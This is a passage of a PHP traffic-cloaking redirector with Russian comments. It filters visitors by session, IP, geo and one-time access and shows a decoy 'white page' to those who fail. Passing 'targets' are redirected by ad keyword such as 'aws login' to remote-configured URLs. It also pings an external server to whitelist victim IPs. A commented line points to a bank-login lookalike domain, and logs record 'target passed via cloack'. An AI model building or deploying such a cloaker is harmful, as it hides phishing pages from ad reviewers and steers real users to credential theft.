1) { $utmTerms = array_values(array_filter($utmTerms, 'strlen')); } // Инициализируем базовое значение $processedTerms = []; $utm_term = "none"; if (!empty($utmTerms)) { // Если единственный элемент оказался пустой строкой (utm_term=) if (count($utmTerms) === 1 && $utmTerms[0] === '') { $utm_term = "empty"; } else { // Обрабатываем каждый элемент на бинарность $processedTerms = array_map(function($term) { return isBinary($term) ? urlencode($term) : $term; }, $utmTerms); // Склеиваем через запятую для сохранения обратной совместимости со старыми логами $utm_term = implode(',', $processedTerms); } } $log_line[1] = $user_id; $log_line[2] = $country; $log_line[3] = $utm_term; $log_line[4] = $http_ref; $log_line[5] = $http_ua; $log_line[6] = $ip; // set ip $log_line[8] = "none"; $log_line[9] = "none"; $log_line[10] = "none"; $log_line[7] = ""; ksort($log_line); if(isset($_SESSION["user_id"]) && !empty($_SESSION["user_id"])) { $user_id = $_SESSION["user_id"]; debug_log("user_id from session: ".$user_id); debug_log("user ip: ".$ip); debug_log("user ip from session: ".$_SESSION["user_ip"]); if(isset($_SESSION["old_user_id"]) && !empty($_SESSION["old_user_id"])) { debug_log("old user id was: ".$_SESSION["old_user_id"]); } } else { debug_log("user_id not set for ".$ip); $log_line[7] = "no http cookie support"; $final_notpass_line = implode("|",$log_line); user_log($final_notpass_line,$not_pass_log_file); white_page($conf['next_step_page']); } if(!isset($_SESSION["allow_filter"])) { debug_log("no our session: allow_filter"); $log_line[7] = "no http cookie support"; $final_notpass_line = implode("|",$log_line); user_log($final_notpass_line,$not_pass_log_file); white_page($conf['next_step_page']); } elseif(isset($_SESSION["allow_filter"]) && empty($_SESSION["allow_filter"])) { debug_log("our session empty: allow_filter"); $log_line[7] = "no http cookie support"; $final_notpass_line = implode("|",$log_line); user_log($final_notpass_line,$not_pass_log_file); white_page($conf['next_step_page']); } // IP if ($ip !== $_SESSION["user_ip"]) { if (empty($_SESSION["old_user_ip"]) || !isset($_SESSION["old_user_ip"])) { $ipv4 = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:'CF-Connecting-IP empty'); $ipv6 = (isset($_SERVER["HTTP_CF_CONNECTING_IPV6"])?$_SERVER["HTTP_CF_CONNECTING_IPV6"]:'CF-Connecting-IPv6 empty'); $x_forwared_for = (isset($_SERVER["HTTP_X_FORWARED_FOR"])?$_SERVER["HTTP_X_FORWARED_FOR"]:'X-Forwarded-For empty'); debug_log("user new headers ipv4 address : ".$ipv4); debug_log("user new headers ipv6 address : ".$ipv6); debug_log("user new headers X-Forwarwed-For : ".$x_forwared_for); // debug_log("user old headers ipv4 address : ".$_SESSION["user_ipv4"]); debug_log("user old headers ipv6 address : ".$_SESSION["user_ipv6"]); debug_log("user old headers X-Forwarwed-For : ".$_SESSION["user_header_forwarded_for"]); } debug_log("user ip changed from ".$_SESSION["old_user_ip"]." to ".$ip); $_SESSION["user_ip"] = $ip; if(isset($_SESSION["old_user_ip"]) && !empty($_SESSION["old_user_ip"])) { debug_log("old user ip was: ".$_SESSION["old_user_ip"]); } } if($conf['onetime']) { if(isset($_SESSION["old_user_id"]) && !empty($_SESSION["old_user_id"])) { debug_log("old user id was: ".$_SESSION["old_user_id"]); debug_log("onetime access enabled : ".$user_id); white_page($conf['next_step_page']); } if(isset($_SESSION["old_user_ip"]) && !empty($_SESSION["old_user_ip"])) { debug_log("old user ip was: ".$_SESSION["old_user_ip"]); debug_log("onetime access enabled : ".$user_id); white_page($conf['next_step_page']); } } else { if(isset($_SESSION["old_user_id"]) && !empty($_SESSION["old_user_id"])) { debug_log("old user id was: ".$_SESSION["old_user_id"]); } if(isset($_SESSION["old_user_ip"]) && !empty($_SESSION["old_user_ip"])) { debug_log("old user ip was: ".$_SESSION["old_user_ip"]); } debug_log("onetime access disabled : ".$user_id); } // $user_id = uniqid('', true); $log_line = $user_id; $country = $_SESSION["user_country"]; debug_log(str_repeat("-", 20)); $ptr = $_SESSION["user_ptr"]; debug_log("user ptr: ".$ptr); debug_log("user geo: ".$country); if ($conf['closed']) { debug_log("closed"); white_page($conf['next_step_page']); } $final_url = resolve_final_url($conf); if (isset($conf['remote_final_url']) && !empty($conf['remote_final_url'])) { debug_log("request for final url via : ".$conf['remote_final_url'].$_SERVER['SERVER_NAME']); $remote_data = file_get_contents($conf['remote_final_url'].$_SERVER['SERVER_NAME']); if (json_decode($remote_data, true) !== null) { $remote_data_array = json_decode($remote_data, true); if ( $remote_data_array["status"] ) { $final_url = $remote_data_array["url"]; } else { debug_log("final_url from remote url status not true : ".$conf['remote_final_url'].$_SERVER['SERVER_NAME']); white_page($conf['next_step_page']); } } else { debug_log("final_url from remote url invalid json : ".$conf['remote_final_url'].$_SERVER['SERVER_NAME']); white_page($conf['next_step_page']); } if(filter_var($final_url, FILTER_VALIDATE_URL)) { debug_log("final_url is set to : ".$final_url); } else { debug_log("final_url from remote url invalid : ".$final_url); white_page($conf['next_step_page']); } } if (isset($conf['remote_hotejka']) && $conf['remote_hotejka']) { $final_url = get_hotejka_url(); if(filter_var($final_url, FILTER_VALIDATE_URL)) { debug_log("from hotejka final_url is set to : ".$final_url); } else { debug_log("final_url from remote url invalid : ".$final_url); white_page($conf['next_step_page']); } } debug_log("init final_url : ".$final_url); $asn_num = $_SESSION["user_asn"]; debug_log("asn num : ".$asn_num); $source_user = "none"; if (isset($_GET["utm_source"]) && !empty($_GET["utm_source"]) ) { $source_user = $_GET["utm_source"]; } elseif (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) ) { $source_user = $_SERVER['HTTP_REFERER']; } elseif (isset($_SERVER['HTTP_REFERER']) && empty($_SERVER['HTTP_REFERER']) ) { $source_user = "empty"; } else { $utm_source = "not set"; } $utm_source = $source_user; $log_line = $log_line."|".$utm_source; // need parse like utm_term=kazon&utm_term=aws%20login&utm_content=Ad%20Group%201&msclkid=cc47f428213b123b44f49e4bee2e27c2&utm_campaign=Bing%20shoping(amz)&utm_source=bing&utm_medium=cpc // Проверяем, удалось ли нам успешно распарсить и очистить хотя бы одно значение utm_term if (!empty($utmTerms) && $utmTerms[0] !== '') { // ОПТИМИЗИРОВАНО: Формируем лог один раз для всех ключей сразу $allTermsString = implode(',', $processedTerms); debug_log("utm_term : " . $allTermsString); $log_line .= "|" . $allTermsString; // Запускаем поиск по ключевым словам foreach ($processedTerms as $currentTerm) { foreach (array_keys($conf['keywords']) as $keyword) { // preg_quote защищает от Fatal Error при наличии спецсимволов и слэшей if (preg_match("/" . preg_quote($keyword, '/') . "/i", $currentTerm)) { $target = $conf['keywords'][$keyword]; // Компактный выбор URL. Работает для строк и массивов любой длины $final_url = is_array($target) ? $target[array_rand($target)] : $target; debug_log("url set for {$keyword} : " . $final_url); break 2; // Выходим из обоих циклов, так как цель найдена } } } debug_log("final_url : " . $final_url); } else { // Сработает, если utm_term вообще не было в URL или он пришел пустым (utm_term=) $utm_term = "not set"; $log_line .= "|" . $source_user; } // if($_SESSION['user_country'] == "CZ") // { // $final_url = "https://cz.unicreditlogin.digital/workbench.php"; // debug_log("url set for GEO match : ".$final_url); // // } if($conf['pass_utm']) { debug_log("add QUERY_STRING filter enabled "); if(isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) { $query_string_0 = ''; if (strpos($final_url, "?") === false) { $query_string_0 = '?'; } else { $query_string_0 = '&'; } $final_url = $final_url.$query_string_0.$_SERVER['QUERY_STRING']; $final_url = $final_url.'&ggclid='.$user_id; debug_log("final_url pass_utm filter : ".$final_url); } else { debug_log("add QUERY_STRING filter - no QUERY_STRING exists "); } } else { debug_log("add QUERY_STRING filter disabled "); } // $final_url = $final_url."?gclid=".base64_encode($user_id); // @file_get_contents("http://170.64.153.3:63843/auth.php?ip=".$ip); // if(!empty($conf['pass_auth_ip'])) { @file_get_contents("http://".$conf['pass_auth_ip'].":".$conf['pass_auth_port']."/auth.php?ip=".$ip); } if(!empty($conf['new_pass_auth_ip'])) { $final_url = send_auth_token($conf, $final_url); } // $clickid = "none"; $gclid_u = "none"; $url_str_char = "?"; $gclid_wbraid = ""; $gclid_gbraid = ""; $gclid_gclid = ""; $gclid_fbclid = ""; $gclid_msclkid = ""; $gclid_clickid = ""; // if($conf['gclid'] && isset($_GET['gbraid']) && !empty($_GET['gbraid'])) if(isset($_GET['gbraid']) && !empty($_GET['gbraid'])) { $gclid_gbraid = "gbraid=".$_GET['gbraid']; } if(isset($_GET['wbraid']) && !empty($_GET['wbraid'])) { $gclid_wbraid = "wbraid=".$_GET['wbraid']; } if(isset($_GET['fbclid']) && !empty($_GET['fbclid'])) { $gclid_fbclid = "fbclid=".$_GET['fbclid']; } if(isset($_GET['gclid']) && !empty($_GET['gclid'])) { $gclid_gclid = "gclid=".$_GET['gclid']; } if(isset($_GET['msclkid']) && !empty($_GET['msclkid'])) { $gclid_msclkid = "msclkid=".$_GET['msclkid']; } if(!empty($conf["custom_clickid"]) && isset($_GET[$conf["custom_clickid"]]) && !empty($_GET[$conf["custom_clickid"]])) { $gclid_clickid = $conf["custom_clickid"]."=".$_GET[$conf["custom_clickid"]]; } // Проверяем каждую переменную и клеим разделитель, только если строка уже не пустая if ($gclid_gclid !== '') { $clickid = $gclid_gclid; } if ($gclid_gbraid !== '') { $clickid .= ($clickid !== '' ? '&' : '') . $gclid_gbraid; } if ($gclid_wbraid !== '') { $clickid .= ($clickid !== '' ? '&' : '') . $gclid_wbraid; } if ($gclid_fbclid !== '') { $clickid = $gclid_fbclid; } if ($gclid_msclkid !== '') { $clickid = $gclid_msclkid; } if ($gclid_clickid !== '') { $clickid = $gclid_clickid; } // $clickid = $gclid_u; $gclid_u = $user_id; // write gclid to user_log, but send to conversion our user_id if ($conf['gc_lid']) { if ($conf['enc_gc_lid']) { $gclid_u = openssl_encrypt($gclid_u,"AES-128-ECB",$conf['pass_gc_lid']); $gclid_u = urlencode($gclid_u); } if ($conf['mix_gc_lid']) { $gclid_u = str_shuffle($gclid_u); } if (strpos($final_url, "?")) { $url_str_char = "&"; } // $final_url = $final_url.$url_str_char."gc_lid=".$gclid_u; // if gc_lid, we send also user ip to check $user_ip_data = openssl_encrypt($ip,"AES-128-ECB",$conf['pass_gc_lid']); $user_ip_data = urlencode($user_ip_data); $final_url = $final_url.$url_str_char."gc_lid=".$gclid_u."&data=".$user_ip_data; } debug_log("user redirect to url : ".$final_url); // // unset allow_here need // $log_line = $log_line."|".$country."|".$_SERVER['HTTP_USER_AGENT']."|".$final_url."|".$clickid."|".$ip."|".$_SESSION['user_os']."|".$_SESSION['user_device']."|".$_SESSION['user_browser']; user_log($log_line); click_log($user_id."|".$clickid); debug_log($log_line); $_SESSION["was_here"] = true; unset($_SESSION["allow_filter"]); write_full_request_log('passed', 'target passed via cloack'); header("Location: ".$final_url,true, 307); exit; ?>